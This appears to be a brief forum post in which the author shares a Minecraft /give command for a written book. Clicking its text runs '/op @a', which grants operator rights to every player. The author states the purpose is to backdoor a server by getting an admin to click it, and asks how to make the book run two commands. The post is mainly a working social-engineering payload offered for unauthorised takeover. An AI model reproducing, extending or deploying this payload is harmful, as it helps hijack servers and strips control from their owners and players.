I have no ideas about commands

hi, I would like to know if you could run two commands as an admin in one book like this
/give @p written_book[written_book_content={title:"",author:"",pages:['{"text":"I wish I had this book.","color":"light_purple","italic":true,"clickEvent":{"action":"run_command","value":"/op @a"}}']}]
I have no ideas how commands work and just want to backdoor a server with this command book